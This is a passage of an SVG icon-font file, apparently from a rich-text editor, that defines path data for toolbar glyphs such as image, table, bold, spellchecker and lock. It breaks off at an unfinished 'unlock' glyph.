<glyph unicode="&#xe014;" glyph-name="image"
d="M0 832v-832h1024v832h-1024zM960 64h-896v704h896v-704zM704 608c0
53.019 42.981 96 96 96s96-42.981 96-96c0-53.019-42.981-96-96-96s-96
42.981-96 96zM896 128h-768l192 512 256-320 128 96z" />
<glyph unicode="&#xe015;" glyph-name="media"
d="M0 832v-768h1024v768h-1024zM192 128h-128v128h128v-128zM192
384h-128v128h128v-128zM192 640h-128v128h128v-128zM768
128h-512v640h512v-640zM960 128h-128v128h128v-128zM960
384h-128v128h128v-128zM960 640h-128v128h128v-128zM384 640v-384l256
192z" />
<glyph unicode="&#xe016;" glyph-name="help"
d="M448 256h128v-128h-128zM704 704c35.346 0 64-28.654
64-64v-192l-192-128h-128v64l192 128v64h-320v128h384zM512 864c-111.118
0-215.584-43.272-294.156-121.844s-121.844-183.038-121.844-294.156c0-111.118
43.272-215.584 121.844-294.156s183.038-121.844 294.156-121.844c111.118 0
215.584 43.272 294.156 121.844s121.844 183.038 121.844 294.156c0
111.118-43.272 215.584-121.844 294.156s-183.038 121.844-294.156
121.844zM512 960v0c282.77 0 512-229.23 512-512s-229.23-512-512-512c-282.77
0-512 229.23-512 512s229.23 512 512 512z" />
<glyph unicode="&#xe017;" glyph-name="code"
d="M320 704l-256-256 256-256h128l-256 256 256 256zM704
704h-128l256-256-256-256h128l256 256z" />
<glyph unicode="&#xe018;"
glyph-name="inserttime" d="M512 768c-212.076
0-384-171.922-384-384s171.922-384 384-384c212.074 0 384 171.922 384
384s-171.926 384-384 384zM715.644
180.354c-54.392-54.396-126.716-84.354-203.644-84.354s-149.25 29.958-203.646
84.354c-54.396 54.394-84.354 126.718-84.354 203.646s29.958 149.25 84.354
203.646c54.396 54.396 126.718 84.354 203.646 84.354s149.252-29.958
203.642-84.354c54.402-54.396 84.358-126.718
84.358-203.646s-29.958-149.252-84.356-203.646zM325.93 756.138l-42.94
85.878c-98.874-49.536-179.47-130.132-229.006-229.008l85.876-42.94c40.248
80.336 105.732 145.822 186.070 186.070zM884.134 570.070l85.878
42.938c-49.532 98.876-130.126 179.472-229.004
229.008l-42.944-85.878c80.338-40.248 145.824-105.732 186.070-186.068zM512
576h-64v-192c0-10.11 4.7-19.11 12.022-24.972l-0.012-0.016 160-128 39.976
49.976-147.986 118.39v176.622z" />
<glyph unicode="&#xe019;" glyph-name="preview"
d="M512 640c-209.368 0-395.244-100.556-512-256 116.756-155.446
302.632-256 512-256s395.244 100.554 512 256c-116.756 155.444-302.632
256-512 256zM448 512c35.346 0 64-28.654 64-64s-28.654-64-64-64-64 28.654-64
64 28.654 64 64 64zM773.616
254.704c-39.648-20.258-81.652-35.862-124.846-46.376-44.488-10.836-90.502-16.328-136.77-16.328-46.266
0-92.282 5.492-136.768 16.324-43.194 10.518-85.198 26.122-124.846
46.376-63.020 32.202-120.222 76.41-167.64 129.298 47.418 52.888 104.62 97.1
167.64 129.298 32.336 16.522 66.242 29.946 101.082
40.040-19.888-30.242-31.468-66.434-31.468-105.336 0-106.040 85.962-192
192-192s192 85.96 192 192c0 38.902-11.582 75.094-31.466 105.34
34.838-10.096 68.744-23.52 101.082-40.042 63.022-32.198 120.218-76.408
167.638-129.298-47.42-52.886-104.618-97.1-167.638-129.296zM860.918
716.278c-108.72 55.554-226.112 83.722-348.918
83.722s-240.198-28.168-348.918-83.722c-58.772-30.032-113.732-67.904-163.082-112.076v-109.206c55.338
58.566 120.694 107.754 192.194 144.29 99.62 50.904 207.218 76.714 319.806
76.714s220.186-25.81 319.804-76.716c71.502-36.536 136.858-85.724
192.196-144.29v109.206c-49.35 44.174-104.308 82.046-163.082 112.078z"
/>
<glyph unicode="&#xe01a;" glyph-name="forecolor"
d="M322.018 128l57.6 192h264.764l57.6-192h113.632l-191.996
640h-223.236l-192-640h113.636zM475.618 640h72.764l57.6-192h-187.964l57.6
192z" />
<glyph unicode="&#xe01b;" glyph-name="table"
d="M0 896v-896h1024v896h-1024zM384 320v192h256v-192h-256zM640
256v-192h-256v192h256zM640 768v-192h-256v192h256zM320
768v-192h-256v192h256zM64 512h256v-192h-256v192zM704
512h256v-192h-256v192zM704 576v192h256v-192h-256zM64
256h256v-192h-256v192zM704 64v192h256v-192h-256z" />
<glyph unicode="&#xe01c;" glyph-name="hr"
d="M0 512h1024v-128h-1024z" />
<glyph unicode="&#xe01d;"
glyph-name="removeformat" d="M0 64h576v-128h-576zM192
960h704v-128h-704zM277.388 128l204.688 784.164
123.85-32.328-196.25-751.836zM929.774-64l-129.774
129.774-129.774-129.774-62.226 62.226 129.774 129.774-129.774 129.774
62.226 62.226 129.774-129.774 129.774 129.774 62.226-62.226-129.774-129.774
129.774-129.774z" />
<glyph unicode="&#xe01e;" glyph-name="sub"
d="M768 50v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676
704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256
256z" />
<glyph unicode="&#xe01f;" glyph-name="sup"
d="M768 754v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676
704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256
256z" />
<glyph unicode="&#xe020;" glyph-name="charmap"
d="M704 64h256l64 128v-256h-384v214.214c131.112 56.484 224 197.162 224
361.786 0 214.432-157.598 382.266-352 382.266-194.406
0-352-167.832-352-382.266 0-164.624 92.886-305.302
224-361.786v-214.214h-384v256l64-128h256v32.59c-187.63 66.46-320
227.402-320 415.41 0 247.424 229.23 448 512 448s512-200.576
512-448c0-188.008-132.37-348.95-320-415.41v-32.59z" />
<glyph unicode="&#xe021;" glyph-name="emoticons"
d="M512 960c-282.77 0-512-229.228-512-512 0-282.77 229.228-512 512-512
282.77 0 512 229.23 512 512 0 282.772-229.23 512-512 512zM512 16c-238.586
0-432 193.412-432 432 0 238.586 193.414 432 432 432 238.59 0 432-193.414
432-432 0-238.588-193.41-432-432-432zM384 640c0-35.346-28.654-64-64-64s-64
28.654-64 64 28.654 64 64 64 64-28.654 64-64zM768
640c0-35.346-28.652-64-64-64s-64 28.654-64 64 28.652 64 64 64 64-28.654
64-64zM512 308c141.074 0 262.688 57.532 318.462
123.192-20.872-171.22-156.288-303.192-318.462-303.192-162.118 0-297.498
132.026-318.444 303.168 55.786-65.646 177.386-123.168
318.444-123.168z" />
<glyph unicode="&#xe022;" glyph-name="print"
d="M256 896h512v-128h-512zM960 704h-896c-35.2
0-64-28.8-64-64v-320c0-35.2 28.796-64 64-64h192v-256h512v256h192c35.2 0 64
28.8 64 64v320c0 35.2-28.8 64-64 64zM704 64h-384v320h384v-320zM974.4
608c0-25.626-20.774-46.4-46.398-46.4-25.626 0-46.402 20.774-46.402
46.4s20.776 46.4 46.402 46.4c25.626 0 46.398-20.774 46.398-46.4z"
/>
<glyph unicode="&#xe023;"
glyph-name="fullscreen" d="M1024 960v-384l-138.26
138.26-212-212-107.48 107.48 212 212-138.26 138.26zM245.74
821.74l212-212-107.48-107.48-212 212-138.26-138.26v384h384zM885.74
181.74l138.26 138.26v-384h-384l138.26 138.26-212 212 107.48 107.48zM457.74
286.26l-212-212 138.26-138.26h-384v384l138.26-138.26 212 212z" />
<glyph unicode="&#xe024;"
glyph-name="spellchecker" d="M128 704h128v-192h64v384c0
35.2-28.8 64-64 64h-128c-35.2 0-64-28.8-64-64v-384h64v192zM128
896h128v-128h-128v128zM960 896v64h-192c-35.202 0-64-28.8-64-64v-320c0-35.2
28.798-64 64-64h192v64h-192v320h192zM640 800v96c0 35.2-28.8 64-64
64h-192v-448h192c35.2 0 64 28.8 64 64v96c0 35.2-8.8 64-44 64 35.2 0 44 28.8
44 64zM576 576h-128v128h128v-128zM576 768h-128v128h128v-128zM832
384l-416-448-224 288 82 70 142-148 352 302z" />
<glyph unicode="&#xe025;"
glyph-name="nonbreaking" d="M448
384h-192v128h192v192h128v-192h192v-128h-192v-192h-128zM1024
320v-384h-1024v384h128v-256h768v256z" />
<glyph unicode="&#xe026;" glyph-name="template"
d="M384 768h128v-64h-128zM576 768h128v-64h-128zM896
768v-256h-192v64h128v128h-64v64zM320 576h128v-64h-128zM512
576h128v-64h-128zM192 704v-128h64v-64h-128v256h192v-64zM384
384h128v-64h-128zM576 384h128v-64h-128zM896
384v-256h-192v64h128v128h-64v64zM320 192h128v-64h-128zM512
192h128v-64h-128zM192 320v-128h64v-64h-128v256h192v-64zM960
896h-896v-896h896v896zM1024 960v0-1024h-1024v1024h1024z" />
<glyph unicode="&#xe027;" glyph-name="pagebreak"
d="M0 448h128v-64h-128zM192 448h192v-64h-192zM448
448h128v-64h-128zM640 448h192v-64h-192zM896 448h128v-64h-128zM880
960l16-448h-768l16 448h32l16-384h640l16 384zM144-64l-16
384h768l-16-384h-32l-16 320h-640l-16-320z" />
<glyph unicode="&#xe028;"
glyph-name="restoredraft" d="M576 896c247.424 0 448-200.576
448-448s-200.576-448-448-448v96c94.024 0 182.418 36.614 248.902
103.098s103.098 154.878 103.098 248.902c0 94.022-36.614 182.418-103.098
248.902s-154.878 103.098-248.902 103.098c-94.022
0-182.418-36.614-248.902-103.098-51.14-51.138-84.582-115.246-97.306-184.902h186.208l-224-256-224
256h164.57c31.060 217.102 217.738 384 443.43 384zM768
512v-128h-256v320h128v-192z" />
<glyph unicode="&#xe02a;" glyph-name="bold"
d="M707.88 475.348c37.498 44.542 60.12 102.008 60.12 164.652 0
141.16-114.842 256-256 256h-320v-896h384c141.158 0 256 114.842 256 256 0
92.956-49.798 174.496-124.12 219.348zM384 768h101.5c55.968 0 101.5-57.42
101.5-128s-45.532-128-101.5-128h-101.5v256zM543 128h-159v256h159c58.45 0
106-57.42 106-128s-47.55-128-106-128z" />
<glyph unicode="&#xe02b;" glyph-name="italic"
d="M896 896v-64h-128l-320-768h128v-64h-448v64h128l320
768h-128v64z" />
<glyph unicode="&#xe02c;" glyph-name="underline"
d="M704 896h128v-416c0-159.058-143.268-288-320-288-176.73 0-320
128.942-320 288v416h128v-416c0-40.166 18.238-78.704 51.354-108.506
36.896-33.204 86.846-51.494 140.646-51.494s103.75 18.29 140.646
51.494c33.116 29.802 51.354 68.34 51.354 108.506v416zM192
128h640v-128h-640z" />
<glyph unicode="&#xe02d;"
glyph-name="strikethrough" d="M731.42 442.964c63.92-47.938
100.58-116.086
100.58-186.964s-36.66-139.026-100.58-186.964c-59.358-44.518-137.284-69.036-219.42-69.036-82.138
0-160.062 24.518-219.42 69.036-63.92 47.938-100.58 116.086-100.58
186.964h128c0-69.382 87.926-128 192-128s192 58.618 192 128c0 69.382-87.926
128-192 128-82.138 0-160.062 24.518-219.42 69.036-63.92 47.94-100.58
116.086-100.58 186.964s36.66 139.024 100.58 186.964c59.358 44.518 137.282
69.036 219.42 69.036 82.136 0 160.062-24.518 219.42-69.036 63.92-47.94
100.58-116.086 100.58-186.964h-128c0 69.382-87.926 128-192
128s-192-58.618-192-128c0-69.382 87.926-128 192-128 82.136 0 160.062-24.518
219.42-69.036zM0 448h1024v-64h-1024z" />
<glyph unicode="&#xe02e;"
glyph-name="visualchars" d="M384
896h512v-128h-128v-768h-128v768h-128v-768h-128v448c-123.712 0-224
100.288-224 224s100.288 224 224 224z" />
<glyph unicode="&#xe02f;" glyph-name="ltr"
d="M448 896h512v-128h-128v-768h-128v768h-128v-768h-128v448c-123.712
0-224 100.288-224 224s100.288 224 224 224zM64 512l256-224-256-224z"
/>
<glyph unicode="&#xe030;" glyph-name="rtl"
d="M256 896h512v-128h-128v-768h-128v768h-128v-768h-128v448c-123.712
0-224 100.288-224 224s100.288 224 224 224zM960 64l-256 224 256 224z"
/>
<glyph unicode="&#xe031;" glyph-name="copy"
d="M832 704h-192v64l-192 192h-448v-768h384v-256h640v576l-192 192zM832
613.49l101.49-101.49h-101.49v101.49zM448
869.49l101.49-101.49h-101.49v101.49zM64 896h320v-192h192v-448h-512v640zM960
0h-512v192h192v448h128v-192h192v-448z" />
<glyph unicode="&#xe032;" glyph-name="resize"
d="M768 704h64v-64h-64zM640 576h64v-64h-64zM640 448h64v-64h-64zM640
320h64v-64h-64zM512 448h64v-64h-64zM512 320h64v-64h-64zM384
320h64v-64h-64zM768 576h64v-64h-64zM768 448h64v-64h-64zM768
320h64v-64h-64zM768 192h64v-64h-64zM640 192h64v-64h-64zM512
192h64v-64h-64zM384 192h64v-64h-64zM256 192h64v-64h-64z" />
<glyph unicode="&#xe033;" glyph-name="checkbox"
d="M128 416l288-288 480 480-128 128-352-352-160 160z" />
<glyph unicode="&#xe034;" glyph-name="browse"
d="M928 832h-416l-32 64h-352l-64-128h896zM904.34 256h74.86l44.8
448h-1024l64-640h484.080c-104.882 37.776-180.080 138.266-180.080 256 0
149.982 122.018 272 272 272 149.98 0 272-122.018 272-272
0-21.678-2.622-43.15-7.66-64zM1002.996 46.25l-198.496 174.692c17.454 28.92
27.5 62.814 27.5 99.058 0 106.040-85.96 192-192 192s-192-85.96-192-192
85.96-192 192-192c36.244 0 70.138 10.046 99.058
27.5l174.692-198.496c22.962-26.678 62.118-28.14 87.006-3.252l5.492
5.492c24.888 24.888 23.426 64.044-3.252 87.006zM640 196c-68.484 0-124
55.516-124 124s55.516 124 124 124 124-55.516
124-124-55.516-124-124-124z" />
<glyph unicode="&#xe035;" glyph-name="pastetext"
d="M512 448v-128h32l32
64h64v-256h-48v-64h224v64h-48v256h64l32-64h32v128zM832 640v160c0 17.6-14.4
32-32 32h-224v64c0 35.2-28.8 64-64 64h-128c-35.204
0-64-28.8-64-64v-64h-224c-17.602 0-32-14.4-32-32v-640c0-17.6 14.398-32
32-32h288v-192h640v704h-192zM384 895.886c0.034 0.038 0.072 0.078 0.114
0.114h127.768c0.042-0.036 0.082-0.076 0.118-0.114v-63.886h-128v63.886zM192
704v64h512v-64h-512zM960 0h-512v576h512v-576z" />
<glyph unicode="&#xe600;" glyph-name="gamma"
d="M483.2 320l-147.2 336c-9.6 25.6-19.2 44.8-25.6 54.4s-16 12.8-25.6
12.8c-16 0-25.6-3.2-28.8-3.2v70.4c9.6 6.4 25.6 6.4 38.4 9.6 32 0 57.6-6.4
73.6-22.4 6.4-6.4 12.8-16 19.2-25.6 6.4-12.8 12.8-25.6 16-41.6l121.6-291.2
150.4 371.2h92.8l-198.4-470.4v-224h-86.4v224zM0
960v-1024h1024v1024h-1024zM960 0h-896v896h896v-896z" />
<glyph unicode="&#xe601;"
glyph-name="orientation" d="M627.2
80h-579.2v396.8h579.2v-396.8zM553.6 406.4h-435.2v-256h435.2v256zM259.2
732.8c176 176 457.6 176 633.6 0s176-457.6
0-633.6c-121.6-121.6-297.6-160-454.4-108.8 121.6-28.8 262.4 9.6 361.6 108.8
150.4 150.4 160 384 22.4 521.6-121.6 121.6-320 128-470.4
19.2l86.4-86.4-294.4-22.4 22.4 294.4 92.8-92.8z" />
<glyph unicode="&#xe602;" glyph-name="invert"
d="M892.8-22.4l-89.6 89.6c-70.4-80-172.8-131.2-288-131.2-208 0-380.8
166.4-384 377.6 0 0 0 0 0 0 0 3.2 0 3.2 0 6.4s0 3.2 0 6.4v0c0 0 0 0 0 3.2 0
0 0 3.2 0 3.2 3.2 105.6 48 211.2 105.6 304l-192 192 44.8 44.8 182.4-182.4c0
0 0 0 0 0l569.6-569.6c0 0 0 0 0 0l99.2-99.2-48-44.8zM896 326.4c0 0 0 0 0 0
0 3.2 0 6.4 0 6.4-9.6 316.8-384 627.2-384
627.2s-108.8-89.6-208-220.8l70.4-70.4c6.4 9.6 16 22.4 22.4 32 41.6 51.2
83.2 96 115.2 128v0c32-32 73.6-76.8 115.2-128 108.8-137.6 169.6-265.6
172.8-371.2 0 0 0-3.2 0-3.2v0 0c0-3.2 0-3.2 0-6.4s0-3.2 0-3.2v0
0c0-22.4-3.2-41.6-9.6-64l76.8-76.8c16 41.6 28.8 89.6 28.8 137.6 0 0 0 0 0 0
0 3.2 0 3.2 0 6.4s0 3.2 0 6.4z" />
<glyph unicode="&#xe603;"
glyph-name="codesample" d="M199.995 578.002v104.002c0 43.078
34.923 78.001 78.001 78.001h26v104.002h-26c-100.518
0-182.003-81.485-182.003-182.003v-104.002c0-43.078-34.923-78.001-78.001-78.001h-26v-104.002h26c43.078
0 78.001-34.923 78.001-78.001v-104.002c0-100.515 81.485-182.003
182.003-182.003h26v104.002h-26c-43.078 0-78.001 34.923-78.001
78.001v104.002c0 50.931-20.928 96.966-54.646 130.002 33.716 33.036 54.646
79.072 54.646 130.002zM824.005 578.002v104.002c0 43.078-34.923
78.001-78.001 78.001h-26v104.002h26c100.515 0 182.003-81.485
182.003-182.003v-104.002c0-43.078 34.923-78.001
78.001-78.001h26v-104.002h-26c-43.078
0-78.001-34.923-78.001-78.001v-104.002c0-100.515-81.488-182.003-182.003-182.003h-26v104.002h26c43.078
0 78.001 34.923 78.001 78.001v104.002c0 50.931 20.928 96.966 54.646
130.002-33.716 33.036-54.646 79.072-54.646 130.002zM616.002
603.285c0-57.439-46.562-104.002-104.002-104.002s-104.002 46.562-104.002
104.002c0 57.439 46.562 104.002 104.002 104.002s104.002-46.562
104.002-104.002zM512 448.717c-57.439 0-104.002-46.562-104.002-104.002
0-55.845 26-100.115
105.752-103.88-23.719-33.417-59.441-46.612-105.752-50.944v-61.751c0 0
208.003-18.144 208.003 216.577-0.202 57.441-46.56 104.004-104.002
104.004z" />
<glyph unicode="&#xe604;"
glyph-name="tablerowprops" d="M0
896v-896h1024v896h-1024zM640 256v-192h-256v192h256zM640
768v-192h-256v192h256zM320 768v-192h-256v192h256zM704
576v192h256v-192h-256zM64 256h256v-192h-256v192zM704
64v192h256v-192h-256z" />
<glyph unicode="&#xe605;"
glyph-name="tablecellprops" d="M0
896v-896h1024v896h-1024zM640 256v-192h-256v192h256zM640
768v-192h-256v192h256zM320 768v-192h-256v192h256zM64
512h256v-192h-256v192zM704 512h256v-192h-256v192zM704
576v192h256v-192h-256zM64 256h256v-192h-256v192zM704
64v192h256v-192h-256z" />
<glyph unicode="&#xe606;" glyph-name="table2"
d="M0 896v-832h1024v832h-1024zM320 128h-256v192h256v-192zM320
384h-256v192h256v-192zM640 128h-256v192h256v-192zM640
384h-256v192h256v-192zM960 128h-256v192h256v-192zM960
384h-256v192h256v-192zM960 640h-896v192h896v-192z" />
<glyph unicode="&#xe607;"
glyph-name="tablemergecells" d="M0
896v-896h1024v896h-1024zM384 64v448h576v-448h-576zM640
768v-192h-256v192h256zM320 768v-192h-256v192h256zM64
512h256v-192h-256v192zM704 576v192h256v-192h-256zM64
256h256v-192h-256v192z" />
<glyph unicode="&#xe608;"
glyph-name="tableinsertcolbefore" d="M320
188.8v182.4h-182.4v89.6h182.4v182.4h86.4v-182.4h185.6v-89.6h-185.6v-182.4zM0
896v-896h1024v896h-1024zM640 64h-576v704h576v-704zM960
64h-256v192h256v-192zM960 320h-256v192h256v-192zM960
576h-256v192h256v-192z" />
<glyph unicode="&#xe609;"
glyph-name="tableinsertcolafter" d="M704
643.2v-182.4h182.4v-89.6h-182.4v-182.4h-86.4v182.4h-185.6v89.6h185.6v182.4zM0
896v-896h1024v896h-1024zM320 64h-256v192h256v-192zM320
320h-256v192h256v-192zM320 576h-256v192h256v-192zM960
64h-576v704h576v-704z" />
<glyph unicode="&#xe60a;"
glyph-name="tableinsertrowbefore" d="M691.2
508.8h-144v-144h-70.4v144h-144v67.2h144v144h70.4v-144h144zM0
896v-896h1024v896h-1024zM320 64h-256v192h256v-192zM640
64h-256v192h256v-192zM960 64h-256v192h256v-192zM960
316.8h-896v451.2h896v-451.2z" />
<glyph unicode="&#xe60b;"
glyph-name="tableinsertrowafter" d="M332.8
323.2h144v144h70.4v-144h144v-67.2h-144v-144h-70.4v144h-144zM0
896v-896h1024v896h-1024zM384 768h256v-192h-256v192zM64
768h256v-192h-256v192zM960 64h-896v451.2h896v-451.2zM960
576h-256v192h256v-192z" />
<glyph unicode="&#xe60d;"
glyph-name="tablesplitcells" d="M0
896v-896h1024v896h-1024zM384 768h256v-192h-256v192zM320
64h-256v192h256v-192zM320 320h-256v192h256v-192zM320
576h-256v192h256v-192zM960 64h-576v448h576v-448zM960
576h-256v192h256v-192zM864 156.8l-60.8-60.8-131.2 131.2-131.2-131.2-60.8
60.8 131.2 131.2-131.2 131.2 60.8 60.8 131.2-131.2 131.2 131.2
60.8-60.8-131.2-131.2z" />
<glyph unicode="&#xe60e;"
glyph-name="tabledelete" d="M0 896h1024v-896h-1024v896zM60.8
768v-704h899.2v704h-899.2zM809.6 211.2l-96-96-204.8 204.8-204.8-204.8-96 96
204.8 204.8-204.8 204.8 96 96 204.8-204.8 204.8 204.8
96-96-204.8-204.8z" />
<glyph unicode="&#xe62a;"
glyph-name="tableleftheader" d="M0
896v-832h1024v832h-1024zM640 128h-256v192h256v-192zM640
384h-256v192h256v-192zM640 640h-256v192h256v-192zM960
128h-256v192h256v-192zM960 384h-256v192h256v-192zM960
640h-256v192h256v-192z" />
<glyph unicode="&#xe62b;"
glyph-name="tabletopheader" d="M0
896v-832h1024v832h-1024zM320 128h-256v192h256v-192zM320
384h-256v192h256v-192zM640 128h-256v192h256v-192zM640
384h-256v192h256v-192zM960 128h-256v192h256v-192zM960
384h-256v192h256v-192z" />
<glyph unicode="&#xe800;"
glyph-name="tabledeleterow" d="M886.4 572.8l-156.8-156.8
160-160-76.8-76.8-160 160-156.8-156.8-76.8 73.6 160 160-163.2 163.2 76.8
76.8 163.2-163.2 156.8 156.8 73.6-76.8zM0 896v-896h1024v896h-1024zM960
576h-22.4l-64-64h86.4v-192h-89.6l64-64h25.6v-192h-896v192h310.4l64
64h-374.4v192h371.2l-64 64h-307.2v192h896v-192z" />
<glyph unicode="&#xe801;"
glyph-name="tabledeletecol" d="M320
499.2l64-64v-12.8l-64-64v140.8zM640 422.4l64-64v137.6l-64-64v-9.6zM1024
896v-896h-1024v896h1024zM960 768h-256v-51.2l-12.8
12.8-51.2-51.2v89.6h-256v-89.6l-51.2
51.2-12.8-12.8v51.2h-256v-704h256v118.4l35.2-35.2 28.8
28.8v-115.2h256v115.2l48-48 16 16v-83.2h256v707.2zM672
662.4l-156.8-156.8-163.2 163.2-76.8-76.8 163.2-163.2-156.8-156.8 76.8-76.8
156.8 156.8 160-160 76.8 76.8-160 160 156.8 156.8-76.8 76.8z" />
<glyph unicode="&#xe900;" glyph-name="a11y"
d="M960 704v64l-448-128-448 128v-64l320-128v-256l-128-448h64l192 448
192-448h64l-128 448v256zM416 800q0 40 28 68t68 28 68-28
28-68-28-68-68-28-68 28-28 68z" />
<glyph unicode="&#xe901;" glyph-name="toc"
d="M0 896h128v-128h-128v128zM192 896h832v-128h-832v128zM192
704h128v-128h-128v128zM384 704h640v-128h-640v128zM384
512h128v-128h-128v128zM576 512h448v-128h-448v128zM0
320h128v-128h-128v128zM192 320h832v-128h-832v128zM192
128h128v-128h-128v128zM384 128h640v-128h-640v128z" />
<glyph unicode="&#xe902;" glyph-name="fill"
d="M521.6 915.2l-67.2-67.2-86.4 86.4-86.4-86.4 86.4-86.4-368-368
432-432 518.4 518.4-428.8 435.2zM435.2 134.4l-262.4 262.4 35.2 35.2 576
51.2-348.8-348.8zM953.6
409.6c-6.4-6.4-16-16-28.8-32-28.8-32-41.6-64-41.6-89.6v0 0 0 0 0 0 0c0-16
6.4-35.2 22.4-48 12.8-12.8 32-22.4 48-22.4s35.2 6.4 48 22.4 22.4 32 22.4
48v0 0 0 0 0 0 0c0 25.6-12.8 54.4-41.6 89.6-9.6 16-22.4 25.6-28.8
32v0z" />
<glyph unicode="&#xe903;"
glyph-name="borderwidth" d="M0 265.6h1024v-128h-1024v128zM0
32h1024v-64h-1024v64zM0 566.4h1024v-192h-1024v192zM0
928h1024v-256h-1024v256z" />
<glyph unicode="&#xe904;" glyph-name="line"
d="M739.2 627.2l-502.4-502.4h-185.6v185.6l502.4 502.4
185.6-185.6zM803.2 688l-185.6 185.6 67.2 67.2c22.4 22.4 54.4 22.4 76.8
0l108.8-108.8c22.4-22.4 22.4-54.4 0-76.8l-67.2-67.2zM41.6
48h940.8v-112h-940.8v112z" />
<glyph unicode="&#xe905;" glyph-name="count"
d="M0 480h1024v-64h-1024v64zM304
912v-339.2h-67.2v272h-67.2v67.2zM444.8
694.4v-54.4h134.4v-67.2h-201.6v153.6l134.4
64v54.4h-134.4v67.2h201.6v-153.6zM854.4
912v-339.2h-204.8v67.2h137.6v67.2h-137.6v70.4h137.6v67.2h-137.6v67.2zM115.2
166.4c3.2 57.6 38.4 83.2 108.8 83.2 38.4 0 67.2-9.6 86.4-25.6s25.6-35.2
25.6-70.4v-112c0-25.6 0-28.8 9.6-41.6h-73.6c-3.2 9.6-3.2 9.6-6.4
19.2-22.4-19.2-41.6-25.6-70.4-25.6-54.4 0-89.6 32-89.6 76.8s28.8 70.4 99.2
80l38.4 6.4c16 3.2 22.4 6.4 22.4 16 0 12.8-12.8 22.4-38.4
22.4s-41.6-9.6-44.8-28.8h-67.2zM262.4
115.2c-6.4-3.2-12.8-6.4-25.6-6.4l-25.6-6.4c-25.6-6.4-38.4-16-38.4-28.8 0-16
12.8-25.6 35.2-25.6s41.6 9.6 54.4 32v35.2zM390.4 336h73.6v-112c22.4 16 41.6
22.4 67.2 22.4 64 0 105.6-51.2 105.6-124.8 0-76.8-44.8-134.4-108.8-134.4-32
0-48 9.6-67.2 35.2v-28.8h-70.4v342.4zM460.8 121.6c0-41.6 22.4-70.4
51.2-70.4s51.2 28.8 51.2 70.4c0 44.8-19.2 70.4-51.2 70.4-28.8
0-51.2-28.8-51.2-70.4zM851.2 153.6c-3.2 22.4-19.2 35.2-44.8 35.2-32
0-51.2-25.6-51.2-70.4 0-48 19.2-73.6 51.2-73.6 25.6 0 41.6 12.8 44.8
41.6l70.4-3.2c-9.6-60.8-54.4-96-118.4-96-73.6 0-121.6 51.2-121.6 128 0 80
48 131.2 124.8 131.2 64 0 108.8-35.2 112-96h-67.2z" />
<glyph unicode="&#xe906;" glyph-name="reload"
d="M889.68 793.68c-93.608 102.216-228.154 166.32-377.68 166.32-282.77
0-512-229.23-512-512h96c0 229.75 186.25 416 416 416 123.020 0
233.542-53.418 309.696-138.306l-149.696-149.694h352v352l-134.32-134.32zM928
448c0-229.75-186.25-416-416-416-123.020 0-233.542 53.418-309.694
138.306l149.694 149.694h-352v-352l134.32 134.32c93.608-102.216
228.154-166.32 377.68-166.32 282.77 0 512 229.23 512 512h-96z" />
<glyph unicode="&#xe907;" glyph-name="translate"
d="M553.6 304l-118.4 118.4c80 89.6 137.6 195.2 172.8
304h137.6v92.8h-326.4v92.8h-92.8v-92.8h-326.4v-92.8h518.4c-32-89.6-80-176-147.2-249.6-44.8
48-80 99.2-108.8 156.8h-92.8c35.2-76.8 80-147.2 137.6-211.2l-236.8-233.6
67.2-67.2 233.6 233.6 144-144c3.2 0 38.4 92.8 38.4 92.8zM816
540.8h-92.8l-208-560h92.8l51.2 140.8h220.8l51.2-140.8h92.8l-208 560zM691.2
214.4l76.8 201.6 76.8-201.6h-153.6z" />
<glyph unicode="&#xe908;" glyph-name="drag"
d="M576 896h128v-128h-128v128zM576 640h128v-128h-128v128zM320
640h128v-128h-128v128zM576 384h128v-128h-128v128zM320
384h128v-128h-128v128zM320 128h128v-128h-128v128zM576
128h128v-128h-128v128zM320 896h128v-128h-128v128z" />
<glyph unicode="&#xe90b;" glyph-name="home"
d="M1024 369.556l-512 397.426-512-397.428v162.038l512 397.426
512-397.428zM896 384v-384h-256v256h-256v-256h-256v384l384 288z" />
<glyph unicode="&#xe911;" glyph-name="books"
d="M576.234 670.73l242.712 81.432 203.584-606.784-242.712-81.432zM0
64h256v704h-256v-704zM64 640h128v-64h-128v64zM320 64h256v704h-256v-704zM384
640h128v-64h-128v64z" />
<glyph unicode="&#xe914;" glyph-name="upload"
d="M839.432 760.57c27.492-27.492 50.554-78.672
55.552-120.57h-318.984v318.984c41.898-4.998 93.076-28.060
120.568-55.552l142.864-142.862zM512 576v384h-368c-44
0-80-36-80-80v-864c0-44 36-80 80-80h672c44 0 80 36 80 80v560h-384zM576
192v-192h-192v192h-160l256 256 256-256h-160z" />
<glyph unicode="&#xe915;" glyph-name="editimage"
d="M768 416v-352h-640v640h352l128 128h-512c-52.8
0-96-43.2-96-96v-704c0-52.8 43.2-96 96-96h704c52.798 0 96 43.2 96
96v512l-128-128zM864 960l-608-608v-160h160l608 608c0 96-64 160-160 160zM416
320l-48 48 480 480 48-48-480-480z" />
<glyph unicode="&#xe91c;" glyph-name="bubble"
d="M928 896h-832c-52.8 0-96-43.2-96-96v-512c0-52.8 43.2-96
96-96h160v-256l307.2 256h364.8c52.8 0 96 43.2 96 96v512c0 52.8-43.2 96-96
96zM896 320h-379.142l-196.858-174.714v174.714h-192v448h768v-448z"
/>
<glyph unicode="&#xe91d;" glyph-name="user"
d="M622.826 257.264c-22.11 3.518-22.614 64.314-22.614 64.314s64.968
64.316 79.128 150.802c38.090 0 61.618 91.946 23.522 124.296 1.59 34.054
48.96 267.324-190.862
267.324s-192.45-233.27-190.864-267.324c-38.094-32.35-14.57-124.296
23.522-124.296 14.158-86.486 79.128-150.802
79.128-150.802s-0.504-60.796-22.614-64.314c-71.22-11.332-337.172-128.634-337.172-257.264h896c0
128.63-265.952 245.932-337.174 257.264z" />
<glyph unicode="&#xe926;" glyph-name="lock"
d="M592 512h-16v192c0 105.87-86.13 192-192 192h-128c-105.87
0-192-86.13-192-192v-192h-16c-26.4 0-48-21.6-48-48v-480c0-26.4 21.6-48
48-48h544c26.4 0 48 21.6 48 48v480c0 26.4-21.6 48-48 48zM192 704c0 35.29
28.71 64 64 64h128c35.29 0 64-28.71 64-64v-192h-256v192z" />
<glyph unicode="&#xe927;" glyph-name="unlock"
